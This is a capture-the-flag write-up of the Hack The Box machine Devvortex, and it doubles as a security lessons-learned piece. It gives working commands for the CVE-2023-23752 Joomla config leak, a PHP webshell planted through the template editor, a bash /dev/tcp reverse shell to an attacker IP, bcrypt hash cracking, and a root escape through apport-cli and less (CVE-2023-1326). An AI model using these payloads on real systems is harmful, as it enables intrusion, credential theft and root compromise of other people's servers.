root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat devvortex.md
// writeups

Devvortex

25 Nov 2023 · 10 min read
Devvortex - maquina de Hack The Box

Executive summary — Devvortex is a very current Easy Linux box: a hidden subdomain (dev.devvortex.htb) hosts a Joomla 4.2.6 vulnerable to CVE-2023-23752, which leaks the database credentials unauthenticated. With them we log into Joomla's admin panel and inject a webshell through the template editor (RCE as www-data); a bcrypt hash dumped from the users table gives SSH once cracked, and root comes from abusing apport-cli via sudo (CVE-2023-1326), forcing a crash and escaping from the less pager. A vhost fuzzing → Joomla → info leak → RCE → MySQL → SSH → apport-cli → root path.

PlatformHack The Box
Operating systemLinux (Ubuntu)
DifficultyEasy
StatusRetired
Target IP10.129.16.227

Attack map

[22,80] nmap → SSH held in reserve, nginx with no CMS on the default vhost
   │  whatweb + ffuf (Host: FUZZ) → dev.devvortex.htb (Joomla 4.2.6)
   ▼
CVE-2023-23752 — /api/.../config/application?public=true → MySQL creds (lewis)
   │  reused on Joomla's admin panel
   ▼
[Joomla admin]  template editor (Atum) → webshell → RCE (www-data)
   │  MySQL → sd4fg_users table → logan's bcrypt hash → hashcat (19 s)
   ▼
[SSH]  logan : tequieromucho  (user.txt)
   │  sudo -l → /usr/bin/apport-cli (ALL : ALL)
   ▼
[ROOT]  CVE-2023-1326: forced crash → apport-cli opens less as root → !/bin/bash

1. Recon

1.1 Port scan

Without knowing what the box exposes, a full scan of every TCP port (not just the top-1000) avoids missing services on high ports.

nmap -p- --min-rate 5000 -sV -sC -oA devvortex 10.129.16.227
22/tcp open  ssh    OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open  http   nginx/1.18.0 (Ubuntu)

Only two ports: SSH is kept in reserve until we have credentials, and HTTP is the main attack surface.

1.2 Technology fingerprinting

whatweb http://devvortex.htb
curl -I http://devvortex.htb
Bootstrap, jQuery 3.4.1, nginx 1.18.0, Ubuntu Linux

The main domain shows no CMS at all — it's a static page. That suggests the real application lives elsewhere, likely a different vhost that nginx routes by the Host header.

1.3 Subdomain fuzzing

nginx commonly acts as a reverse proxy and decides which backend to serve based on the request's Host header. Swapping that header for every word in a wordlist, and filtering out responses identical to the default vhost's, uncovers subdomains that don't resolve in public DNS.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb' -fc 302,301
dev  [Status: 200, Size: 23221]   (the default vhost's response is 18048 bytes)

dev.devvortex.htb returns a different size than the default vhost: a different application sits behind it. Added to /etc/hosts:

echo "10.129.16.227  dev.devvortex.htb" | sudo tee -a /etc/hosts

1.4 Identifying Joomla

whatweb http://dev.devvortex.htb
curl -s http://dev.devvortex.htb/administrator/ | head -50

The /administrator/ path is Joomla's classic login screen. The exact version is confirmed from the installation's manifest file:

curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | grep '<version>'
<version>4.2.6</version>

2. Foothold — CVE-2023-23752 (config leak)

What it is: an information disclosure affecting Joomla 4.0.0–4.2.7. The REST API exposes the application config endpoint (/api/index.php/v1/config/application) unauthenticated just by adding the ?public=true parameter, returning the full configuration — including the database credentials in cleartext.

curl -s "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | python3 -m json.tool
user: lewis
password: P4ntherg0t1n5r3c0n##
db: joomla
table prefix: sd4fg_

Database credentials are commonly reused for the admin panel. With lewis / P4ntherg0t1n5r3c0n## we log into /administrator/ as admin.

3. RCE — Joomla's template editor

From the admin panel, Joomla lets you edit installed templates' PHP files directly. Any change there executes with the web server's permissions as soon as the file is requested — it's RCE by design once you're inside the panel.

System → Templates → Administrator Templates → Atum → Details and Files, editing the Atum theme's error.php:

<?php system($_GET['cmd']); ?>

Command execution confirmed:

curl "http://dev.devvortex.htb/administrator/templates/atum/error.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

With RCE confirmed, we spawn a reverse shell:

nc -lvnp 4444
curl -G "http://dev.devvortex.htb/administrator/templates/atum/error.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"

And stabilize the interactive shell with the pty + stty trick:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z to background, then on the attacker box:
stty raw -echo; fg

4. Lateral movement — www-data to logan

cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
logan:x:1000:1000::/home/logan:/bin/bash

Only two accounts with a shell: root and logan. With the MySQL credentials already in hand, we dump Joomla's users table, where the bcrypt hashes live:

mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -e "use joomla; select username,password from sd4fg_users;"
lewis  $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan  $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

logan's hash is attacked with hashcat (mode 3200 = bcrypt) and rockyou:

echo '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > hash_logan.txt
hashcat -m 3200 hash_logan.txt /usr/share/wordlists/rockyou.txt
Cracked in 19 seconds → tequieromucho
ssh logan@10.129.16.227   # tequieromucho
cat ~/user.txt

5. Privilege escalation — apport-cli (CVE-2023-1326)

sudo -l
(ALL : ALL) /usr/bin/apport-cli

What CVE-2023-1326 is: apport-cli is Ubuntu's crash-reporting tool. When viewing a crash report, it shows it with the less pager. Since apport-cli runs via sudo as root, less inherits those privileges — and less lets you run shell commands with !command (a technique cataloged in GTFOBins).

apport-cli needs an actual crash report to process. One is forced by killing our own process with SIGSEGV:

sleep 100 &
kill -SIGSEGV $!

apport-cli is run via sudo against the generated crash:

sudo apport-cli -c /var/crash/*.crash

From the interactive menu we pick V (View report), which opens less as root. From inside less, we escape to a shell:

V
!/bin/bash
id  →  uid=0(root) gid=0(root) groups=0(root)

6. Root flag

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Reconnginx (vhosts)Hidden, unlinked subdomain (dev.) found via Host fuzzingReal attack surface (Joomla)
Info leakJoomla 4.2.6 REST APICVE-2023-23752 (unauthenticated config leak → MySQL creds)lewis's credentials
FootholdJoomla admin panelTemplate editor → arbitrary PHP writeRCE as www-data
LateralMySQL / users tableWeak logan bcrypt hash, cracked in 19sSSH as logan
PrivEscsudo apport-cliCVE-2023-1326 (less pager escape)Root

Lessons learned

  • Always fuzz vhosts/subdomains: the interesting stuff often lives on a dev./staging. host that isn't linked from the main domain.
  • Patch the CMS: CVE-2023-23752 leaks database credentials with zero authentication — a plain curl is enough.
  • Lock down Joomla's template editor: it's RCE by design for any account with admin-panel access; restrict who can administer the CMS.
  • Don't reuse database passwords for admin panels: that's the single step that turns a config leak into full panel access.
  • Bcrypt hashes aren't a silver bullet: with a weak password, hashcat cracks them in seconds against a common wordlist.
  • Be careful with sudo over pager-invoking binaries (apport-cli, journalctl, man, git log…): anything that shells out to less/more is a documented GTFOBins escape.